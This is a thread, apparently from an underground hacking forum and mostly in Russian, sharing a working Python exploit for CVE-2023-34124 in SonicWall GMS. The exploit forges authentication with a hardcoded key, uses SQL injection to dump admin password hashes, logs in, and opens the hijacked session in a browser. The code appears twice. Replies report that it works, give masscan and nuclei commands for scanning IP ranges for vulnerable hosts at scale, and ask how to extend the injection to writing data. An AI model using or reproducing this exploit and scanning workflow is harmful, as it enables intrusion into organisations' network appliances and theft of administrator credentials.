• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote Sonicwall RCE CVE-2023-34124

Пожалуйста, обратите внимание, что пользователь заблокирован
Моя игрушечная имплементация на python. Достает креды админа, логинится и открывает сессию в браузере (Firefox)
Требования:
- python3
- Firefox
- pip install -r requirements.txt

requirements.txt
Код:
attrs==23.1.0
certifi==2022.12.7
cffi==1.16.0
charset-normalizer==3.0.1
h11==0.14.0
idna==3.4
outcome==1.2.0
pycparser==2.21
pycryptodome==3.18.0
PySocks==1.7.1
requests==2.28.2
selenium==4.13.0
six==1.16.0
sniffio==1.3.0
sortedcontainers==2.4.0
trio==0.22.2
trio-websocket==0.11.1
urllib3==1.26.14
user-agent==0.1.10
wsproto==1.2.0
main.py
Python:
import hmac
import re
import sys
from base64 import b64encode
from hashlib import md5, sha1
from time import sleep
from urllib.parse import quote

import requests
from selenium import webdriver
from urllib3 import disable_warnings

disable_warnings()


class SonicTestExploit:

    TITLE_WINDOWS = 'SonicWall Universal Management Host'
    TITLE_LINUX = 'SonicWall Universal Management Appliance'

    def __init__(self, host):
        self.sess = requests.Session()
        self.host = host if '://' in host \
            else 'http://' + host if ':80' in host \
            else 'https://' + host

    def check(self):
        resp = requests.get(self.host, verify=False)
        if 'SonicWall Universal Management Suite' in resp.text:
            return True

    @staticmethod
    def make_sign(string):
        secret_key = b'?~!@#$%^^()'
        return b64encode(
            hmac.new(secret_key, string.encode(), sha1).digest()
        ).decode()

    def send_payload(self, payload):
        token = SonicTestExploit.make_sign(payload)
        # print('[~] Token:', token)

        uri = '/ws/msw/tenant/' + quote(payload)
        # print('[~] URI', uri)

        headers = {
            'Auth': f'{{"user": "system", "hash": "{token}"}}',
            'Accept-Encoding': 'gzip;q=1.0,deflate;q=0.6,identity;q=0.3',
            'Accept': '*/*',
            'Connection': 'close'
        }

        return requests.get(
            self.host + uri,
            headers=headers,
            verify=False
        )

    def get_admin_creds(self, user_id=1):
        sub_query = (
            "SELECT CONCAT(id, ':', password) "
            "FROM sgmsdb.users "
            "WHERE active = '1' "
            "ORDER BY issuperadmin "
            "DESC LIMIT %d OFFSET 0" % user_id
        )

        payload = (
            "' union select (select ID from SGMSDB.DOMAINS limit 1), "
            "'', '', '', '', '', "
            f"({sub_query}),'', '', '"
        )

        resp = self.send_payload(payload)
        return resp.json().get("alias")

    def admin_auth(self, username, pwd_hash):
        resp = self.sess.get(
            self.host + '/appliance/login',
            verify=False
        )

        if 'getPwdHash' not in resp.text:
            print('[-] Could not get the server token for authentication')
            return False

        server_token = re.findall("getPwdHash.*'(\d+)'", resp.text)
        if not server_token:
            print('[-] Could not get the server token for authentication')
            return False

        client_hash = md5(
            server_token[0].encode() + pwd_hash.encode()
        ).hexdigest()
        print('[+] Generated client token:', client_hash)

        data = {
            'action': 'login',
            'skipSessionCheck': '0',
            'needPwdChange': '0',
            'clientHash': client_hash,
            'password': pwd_hash,
            'applianceUser': username,
            'appliancePassword': 'Nice Try',
            'ctlTimezoneOffset': '0'
        }

        resp = self.sess.post(
            self.host + '/appliance/applianceMainPage',
            data=data,
            verify=False
        )

        if self.TITLE_LINUX in resp.text:
            self.os = 'linux'
            return True
        if self.TITLE_WINDOWS in resp.text:
            self.os = 'windows'
            return True

    def open_in_browser(self):
        profile = webdriver.FirefoxProfile()
        profile.accept_untrusted_certs = True
        br = webdriver.Firefox()

        br.get(self.host)
        br.delete_all_cookies()
        br.add_cookie({
            'name': 'JSESSIONID',
            'path': '/appliance',
            'secure': True,
            'httpOnly': True,
            'sameSite': 'None',
            'value': self.sess.cookies.get('JSESSIONID'),
            'domain': self.host.lstrip('https://'),
        })

        br.get(f'{self.host}/appliance/applianceMainPage')
        br.implicitly_wait(10)
        br.switch_to.frame('header')
        br.find_element('id', 'div_switch_1').click()
        return br


def main():
    if len(sys.argv) < 2:
        print(f'Usage: {sys.argv[0]} <host>')
        sys.exit()

    host = sys.argv[1].rstrip()
    sonic = SonicTestExploit(host)

    if not sonic.check():
        print(f'[-] {host} - is not Sonicwall GMS')
        return

    admin_creds = sonic.get_admin_creds(user_id=1)
    print('[+] Admin creds:', admin_creds)

    username, pwd_hash = admin_creds.split(':')
    if sonic.admin_auth(username, pwd_hash):
        print(f'[+] Successfully logged in as {username}, OS: {sonic.os.title()}')

    if input('[~] Open in browser? (y\\n)\n[>] ').lower() in ['y', 'yes']:
        browser = sonic.open_in_browser()

        try:
            while 1:
                # raise exception if browser closed manually
                browser.current_url
                sleep(1)
        except:
            return


if __name__ == '__main__':
    main()
 
Последнее редактирование:
Моя игрушечная имплементация на python. Достает креды админа, логиниться и открывает сессию в браузере (Firefox)
Требования:
- python3
- Firefox
- pip install -r requirements.txt

requirements.txt
Код:
attrs==23.1.0
certifi==2022.12.7
cffi==1.16.0
charset-normalizer==3.0.1
h11==0.14.0
idna==3.4
outcome==1.2.0
pycparser==2.21
pycryptodome==3.18.0
PySocks==1.7.1
requests==2.28.2
selenium==4.13.0
six==1.16.0
sniffio==1.3.0
sortedcontainers==2.4.0
trio==0.22.2
trio-websocket==0.11.1
urllib3==1.26.14
user-agent==0.1.10
wsproto==1.2.0
main.py
Python:
import hmac
import re
import sys
from base64 import b64encode
from hashlib import md5, sha1
from time import sleep
from urllib.parse import quote

import requests
from selenium import webdriver
from urllib3 import disable_warnings

disable_warnings()


class SonicTestExploit:

    TITLE_WINDOWS = 'SonicWall Universal Management Host'
    TITLE_LINUX = 'SonicWall Universal Management Appliance'

    def __init__(self, host):
        self.sess = requests.Session()
        self.host = host if '://' in host \
            else 'http://' + host if ':80' in host \
            else 'https://' + host

    def check(self):
        resp = requests.get(self.host, verify=False)
        if 'SonicWall Universal Management Suite' in resp.text:
            return True

    @staticmethod
    def make_sign(string):
        secret_key = b'?~!@#$%^^()'
        return b64encode(
            hmac.new(secret_key, string.encode(), sha1).digest()
        ).decode()

    def send_payload(self, payload):
        token = SonicTestExploit.make_sign(payload)
        # print('[~] Token:', token)

        uri = '/ws/msw/tenant/' + quote(payload)
        # print('[~] URI', uri)

        headers = {
            'Auth': f'{{"user": "system", "hash": "{token}"}}',
            'Accept-Encoding': 'gzip;q=1.0,deflate;q=0.6,identity;q=0.3',
            'Accept': '*/*',
            'Connection': 'close'
        }

        return requests.get(
            self.host + uri,
            headers=headers,
            verify=False
        )

    def get_admin_creds(self, user_id=1):
        sub_query = (
            "SELECT CONCAT(id, ':', password) "
            "FROM sgmsdb.users "
            "WHERE active = '1' "
            "ORDER BY issuperadmin "
            "DESC LIMIT %d OFFSET 0" % user_id
        )

        payload = (
            "' union select (select ID from SGMSDB.DOMAINS limit 1), "
            "'', '', '', '', '', "
            f"({sub_query}),'', '', '"
        )

        resp = self.send_payload(payload)
        return resp.json().get("alias")

    def admin_auth(self, username, pwd_hash):
        resp = self.sess.get(
            self.host + '/appliance/login',
            verify=False
        )

        if 'getPwdHash' not in resp.text:
            print('[-] Could not get the server token for authentication')
            return False

        server_token = re.findall("getPwdHash.*'(\d+)'", resp.text)
        if not server_token:
            print('[-] Could not get the server token for authentication')
            return False

        client_hash = md5(
            server_token[0].encode() + pwd_hash.encode()
        ).hexdigest()
        print('[+] Generated client token:', client_hash)

        data = {
            'action': 'login',
            'skipSessionCheck': '0',
            'needPwdChange': '0',
            'clientHash': client_hash,
            'password': pwd_hash,
            'applianceUser': username,
            'appliancePassword': 'Nice Try',
            'ctlTimezoneOffset': '0'
        }

        resp = self.sess.post(
            self.host + '/appliance/applianceMainPage',
            data=data,
            verify=False
        )

        if self.TITLE_LINUX in resp.text:
            self.os = 'linux'
            return True
        if self.TITLE_WINDOWS in resp.text:
            self.os = 'windows'
            return True

    def open_in_browser(self):
        profile = webdriver.FirefoxProfile()
        profile.accept_untrusted_certs = True
        br = webdriver.Firefox()

        br.get(self.host)
        br.delete_all_cookies()
        br.add_cookie({
            'name': 'JSESSIONID',
            'path': '/appliance',
            'secure': True,
            'httpOnly': True,
            'sameSite': 'None',
            'value': self.sess.cookies.get('JSESSIONID'),
            'domain': self.host.lstrip('https://'),
        })

        br.get(f'{self.host}/appliance/applianceMainPage')
        br.implicitly_wait(10)
        br.switch_to.frame('header')
        br.find_element('id', 'div_switch_1').click()
        return br


def main():
    if len(sys.argv) < 2:
        print(f'Usage: {sys.argv[0]} <host>')
        sys.exit()

    host = sys.argv[1].rstrip()
    sonic = SonicTestExploit(host)

    if not sonic.check():
        print(f'[-] {host} - is not Sonicwall GMS')
        return

    admin_creds = sonic.get_admin_creds(user_id=1)
    print('[+] Admin creds:', admin_creds)

    username, pwd_hash = admin_creds.split(':')
    if sonic.admin_auth(username, pwd_hash):
        print(f'[+] Successfully logged in as {username}, OS: {sonic.os.title()}')

    if input('[~] Open in browser? (y\\n)\n[>] ').lower() in ['y', 'yes']:
        browser = sonic.open_in_browser()

        try:
            while 1:
                # raise exception if browser closed manually
                browser.current_url
                sleep(1)
        except:
            return


if __name__ == '__main__':
    main()
This works very well, thank you for the share.)
 
Connecting to ...
There is a problem with the site's security certificate.
Warning: self signed certificate
Do you want to proceed? (Y:Yes, N:No, V:View Certificate)y

Connected.
Logging in...
Login successful.
Version header not found
sh: 1: wg: not found
WireGuard is not capable, can not find the WireGuard kernel module.
SSL Connection is ready
Using SSL Encryption Cipher 'ECDHE-RSA-AES256-GCM-SHA384'
Saving profiles/preferences...
Done saving profiles/preferences
Using new PPP frame encoding mechanism
Using PPP async mode (chosen by server)
Connecting tunnel...
pppd: The remote system is required to authenticate itself
pppd: but I couldn't find any suitable secret (password) for it to use to do so.
session check SSL connection to '' succeed
Response does not contain NetExtender active status
SSL VPN logging out...
SSL VPN connection is terminated.
Exiting NetExtender client
Кто сталкивался? на винде норм конектит, kali - not
 
sudo masscan -Pn -sS -iL ranges.txt --rate 50000 -p8080,8443,4443,4433,80,443,10443,4444,9443 --open-only --excludefile block.txt | grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' > results.txt

awk '{ print $4 ":" $3 }' results.txt > final_results.txt

nuclei -l final_results.txt -t nuclei-templates/http/cves/2023/CVE-2023-34124.yaml -o vulns.txt
heyy appreciate your contribution with these posts. Does nuclei take a long time for the scans? If so from your experience how long can a scan like the aforementioned takes for a country of ip ranges?
 
Кто-то разбирался, можно ли в инъекции сделать апдейт/инсёрт? Когда пытаюст подсунуть вместо '(select concat(id, ':', password) from sgmsdb.users where active = '1' order by issuperadmin desc limit 1 offset 0),' в subquery 'update table set ()' возвращает -21001: Tenant ID is not valid.

Судя по анализу отсюда https://attackerkb.com/topics/Vof5fWs4rx/cve-2023-34127/rapid7-analysis полностью запрос выглядет примерно так:

SELECT * FROM DOMAINS_TABLE_NAME WHERE TENANT_SERIAL = 'abc' union select (select ID from SGMSDB.DOMAINS limit 1), '1', '2', '3', '4', '5', #{SQL}, '7', '8', '9'

Как правильно и можноли в такой инъекции выполнить insert/update?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх